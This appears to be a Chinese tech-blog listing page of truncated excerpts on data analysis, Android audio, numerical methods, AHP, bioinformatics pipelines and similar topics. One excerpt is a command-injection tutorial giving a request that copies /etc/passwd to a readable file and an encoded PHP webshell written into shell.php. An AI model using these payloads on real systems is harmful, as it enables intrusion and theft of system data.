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数据分析终极一问:指标波动有多大,才算是大!

“分析下今天的波动”是数据分析师最常听到的任务。也是最头疼,最纠结,最难搞清楚,还得天天搞的任务。下降1%,算不算波动大下降5%,算不算波动大下降10%,算不算波动大下降50%,算不算波动大为啥有时候下降了50%,业务却没反应,可下降了1%业务急得吱哇乱叫!!! 今天我们系统看一下。一、指标波动的本质举个简单的例子,体温37.4度VS体温36度,只有3.9%的波动,可真要在测温点被发现体温37.4度,估计马上被保安请出去。为啥?因为人们怕的不是5.5%波动,而是怕病毒!体温37.4度表明:有可能有病毒!这才是人们真正怕的东西。所以:指标波动不可怕,指标波动代表的业务含义才可怕!脱离业务含义谈指

Android13音频子系统分析(一)---整体架构

        目录一、应用API层二、Java框架层三、Native核心层3.1AudioFlinger模块3.2AudioPolicyService模块四、HAL层        本文基于AOSP13源码进行分析解读。所以与各个SoC平台厂商提供的运行在真实设备上的源码会有细微差异,但核心原理区别不大。        音频子系统在Android中是一个较为复杂的子系统,横跨应用API层,框架层,Native层和HAL层。使用Java、C++、C语言进行编写。运行在Linux用户空间的4个进程中:APP应用进程(API层的代码)、SystemServer进程(框架层的代码)、AudioSer

超全的命令(代码)执行漏洞无回显的姿势总结(附带详细代码和测试分析过程)

目录漏洞代码突破方式重定向dnslog外部通信burpsuiteburpcollaborator外部通信日志监听netcat监听反弹shell的各种姿势漏洞代码这里使用了无回显的shell执行函数shell_exec,给html目录的权限是777突破方式重定向将需要获取的内容重定向到新文件里面eval.php?a=cat%20/etc/passwd%20>info.txt然后访问info.txt或者重定向一个新的webshell到该目录下echo"PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64-d>shell.php//

数值分析期末总结三

一、数值积分求积公式1、(区间是[a,b])矩形公式:值=(b-a)f((a+b)/2)2、(区间是[a,b])梯形公式:值=(b-a)[f(a)+f(b)]/23、辛普森二、代数精度1、代数精度用来衡量在某区间上构造求积公式的好与坏如果:在m时候一个函数在区间[a,b]上求积分的值是精确等于求积公式的但是在m+1时候,就不等于原来的则称求积公式具有m次的代数精度2、求解步骤:(1)题目给出了待定参数(2)将f(x)取值1,x,x的平方带入计算,可以得三个式子(3)就可以解出题目给出了待定参数(4)再把解出来的参数带回原式子三、插值求积公式1、拉格朗日求积公式:(1)求积系数是由插值节点决定的

ChatGPT和文心一言分析茅台与瑞幸的联名盛宴:酱香拿铁背后的商业布局

近段时间被酱香拿铁的消息刷屏了,本文通过ChatGPT和文心一言,对比分析茅台和瑞幸合作的酱香拿铁背后商业布局。看看你更认可哪一方的观点。文章目录一、ChatGPT分析结论【1】茅台和瑞幸合作推出酱香拿铁是一个创新的尝试。【2】这种合作是对市场潜力的探索。【3】这种合作也引发了口味的争议。【4】这种合作也可能对茅台的品牌形象产生影响。二、文心一言分析结论【1】品牌战略的碰撞【2】商业布局的深化【3】市场前景的展望  一、ChatGPT分析结论  【1】茅台和瑞幸合作推出酱香拿铁是一个创新的尝试。  茅台作为中国最著名的白酒品牌之一,而瑞幸则是一家快速崛起的咖啡连锁品牌。这种跨界合作可以为两个品

层次分析法

来源:数学建模清风学习内容所整理文章目录评价类模型层次分析法01建立层次结构02构建比较矩阵(判断矩阵)03一致性检验04权重排序matlab代码实现AHP的局限性数据资料搜索网站虫部落-快搜https://www.chongbuluo.com/搜索优先级:1.谷歌搜索2.微信搜索3.知乎搜索评价类模型评价类问题中主要分为确定评价指标,形成评价体系,就是对目标打分排序选最优解。(例如:选择哪种方案最好、哪位运动员或者员工表现的更优秀)。解决评价类问题先从三个问题入手:①评价的目标是什么?从题目要求中获取②为了达到目标有哪些可选方案?题目中所给可执行方案③评价的指标是什么?从背景材料、常识、及网

数据分享|R语言分析上海空气质量指数数据:kmean聚类、层次聚类、时间序列分析:arima模型、指数平滑法...

全文链接:http://tecdat.cn/?p=30131最近我们被客户要求撰写关于上海空气质量指数的研究报告。本文向大家介绍R语言对上海PM2.5等空气质量数据(查看文末了解数据免费获取方式)间的相关分析和预测分析,主要内容包括其使用实例,具有一定的参考价值,需要的朋友可以参考一下(点击文末“阅读原文”获取完整代码数据)。相关视频相关分析(correlationanalysis)是研究现象之间是否存在某种依存关系,并对具体有依存关系的现象探讨其相关方向以及相关程度,是研究随机变量之间的相关关系的一种统计方法。分类:·      线性相关分析:研究两个变量间线性关系的程度,用相关系数r来描述

基于Python+Spark的热门旅游景点数据可视化分析系统的设计与实现

🔥作者:雨晨源码🔥💖简介:java、微信小程序、安卓;定制开发,远程调试代码讲解,文档指导,ppt制作💖精彩专栏推荐订阅:在下方专栏👇🏻👇🏻👇🏻👇🏻Java精彩实战毕设项目案例小程序精彩项目案例Python实战项目案例​💕💕文末获取源码文章目录系统前言开发技术与环境需求分析-功能介绍演示图片代码展示结语(文末获取源码)本次文章主要是介绍基于python的热门旅游景点数据可视化分析系统系统前言随着旅游业的迅速发展,人们对热门旅游景点的需求不断增加。为了更好地满足游客的需求,需要建立一种高效的热门旅游景点数据可视化分析系统。该系统基于Python和Spark技术,能够处理大规模的旅游数据,包括游客

泛基因组分析流程ppsPCP

论文https://academic.oup.com/bioinformatics/article/35/20/4156/5372683?login=falseppsPCP:aplantpresence/absencevariantsscannerandpan-genomeconstructionpipelinegithub主页https://github.com/Zhuxitong/ppsPCP/tree/v1.0依赖软件mummerblastbedtoolsblatgffreadBio::Perl这几个都可以用conda直接安装,但是mummer我这边conda还是3.几的版本,所以后续使

单细胞分析流程之RNA velocity(一)

发育轨迹分析是单细胞分析中比较常见的一种分析,旨在预测出细胞类型之间的发育关系,构建细胞的发育轨迹。常见的发育轨迹分析有很多,例如monocle2/3,RNAvelocity等。今天小编就来简单介绍一下我们在日常分析中的RNAvelocity流程。大家如果想了解RNAvelocity的原理,也可以参考一些网上的文章(RNAvelocityofsinglecells文献学习)话不多说,我们直接进入正题吧~1.软件安装在安装之前需要安装以下依赖包:condainstallnumpyscipycythonnumbamatplotlibscikit-learnh5pyclickpipinstallpy